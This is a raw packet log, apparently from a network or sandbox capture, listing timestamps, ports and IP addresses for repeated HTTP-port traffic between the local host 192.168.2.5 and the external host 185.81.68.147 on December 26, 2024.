Dec 26, 2024 12:05:15.871490955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.871530056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.872412920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.872466087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.872548103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.872652054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.873565912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.873594999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.873619080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.873652935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.874475956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.874526024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.874691963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.874737024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.875509977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.875569105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.875617981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.875662088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.876723051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.876771927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.876931906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.876976013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.877546072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.877590895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.877624989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.877664089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.878576994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.878712893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.878752947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.878752947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.879585981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.879674911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.879697084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.879807949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.880620956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.880673885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.880695105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.880740881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.881818056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.881867886 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.881879091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.882081032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.882740974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.882795095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.882874012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.882947922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.883774996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.883826971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.883861065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.883903980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.884767056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.884819031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.884859085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.884902954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.885786057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.885833979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.885837078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.886753082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.886827946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.050172091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.050260067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.050342083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.050617933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.050662994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.050802946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.050847054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.051697016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.052011967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.052047014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.052057028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.052089930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.053024054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.053066015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.053121090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.053158045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.054064035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.054086924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.054105043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.054121971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.055075884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.055116892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.055166006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.055207014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.056087971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.056212902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.056262970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.057322979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.057384014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.057435036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.057473898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.058176041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.058219910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.058268070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.058310032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.059185982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.059228897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.059282064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.059340000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.060215950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.060305119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.060353994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.061184883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.061230898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.061362028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.061400890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.062252045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.062295914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.062453985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.062495947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.063323021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.063365936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.063391924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.063436985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.064285994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.064403057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.064448118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.065675020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.065743923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.065773010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.065814972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.066313982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.066374063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.066483021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.066528082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.067361116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.067399979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.067446947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.067485094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.068361998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.068464041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.068504095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.069405079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.069448948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.069468021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.069494009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.070445061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.070492029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.070550919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.070589066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.071511984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.071554899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.071590900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.071631908 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.072501898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.072545052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.072576046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.072613955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.073513031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.073556900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.073575020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.073611021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.074529886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.074585915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.074661970 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.074700117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.075568914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.075655937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.075696945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.076565981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.076605082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.076694965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.076746941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.077828884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.077862024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.077883005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.077907085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.078773022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.078785896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.078840971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.079644918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.079869986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.079935074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.080699921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.080739975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.080777884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.080820084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.081692934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.081733942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.081773996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.081808090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.082727909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.082804918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.082871914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.083204031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.083724976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.083841085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.083884001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.084883928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.084927082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.085093021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.085138083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.085815907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.085855007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.085916996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.085966110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.086826086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.086865902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.086916924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.086952925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.087913036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.087979078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.088044882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.088875055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.088912964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.088967085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.089005947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.089909077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.089951038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.090004921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.090044022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.090939999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.090982914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.091003895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.091039896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.091939926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.092076063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.092123032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.092961073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.093004942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.093121052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.093163967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.094027042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.094082117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.094244957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.094284058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.094995975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.095043898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.095098019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.095141888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.096046925 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.096189976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.096237898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.097090006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.097170115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.097212076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.097254038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.098073006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.098128080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.098167896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.098206997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.099107027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.099152088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.099196911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.099241018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.100148916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.100256920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.100310087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.101182938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.101236105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.101274014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.101313114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.102195024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.102233887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.102291107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.102327108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.103223085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.103261948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.103285074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.103326082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.262614965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.262639046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.262682915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.262736082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.262784958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.262867928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.262911081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.262958050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.263847113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.263900995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.263926983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.263973951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.264949083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.264997005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.265038967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.265084982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.266047955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.266103029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.266145945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.267041922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.267091036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.267096996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.267137051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.268047094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.268098116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.268428087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.268474102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.268942118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.268990040 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.269078970 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.269124985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.269987106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.270030022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.270067930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.270121098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.270981073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.271086931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.271122932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.272123098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.272172928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.272192001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.272468090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.273044109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.273094893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.273132086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.273170948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.274070024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.274122000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.274169922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.275100946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.275180101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.275300980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.275372982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.276144981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.276196003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.276226997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.276272058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.276566029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.396270037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.697885990 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.817560911 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:16.817642927 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.817986012 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:16.937787056 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:17.081388950 CET	80	49715	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:17.081481934 CET	49715	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:17.081660032 CET	80	49715	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:17.081716061 CET	49715	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:17.084037066 CET	49715	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:17.203790903 CET	80	49715	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:17.290071011 CET	49717	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:17.409856081 CET	80	49717	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:17.411413908 CET	49717	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:17.433113098 CET	49717	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:17.552659988 CET	80	49717	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.248161077 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.248187065 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.248199940 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.248248100 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.248264074 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.248270035 CET	49716	80	192.168.2.5	185.81.68.147
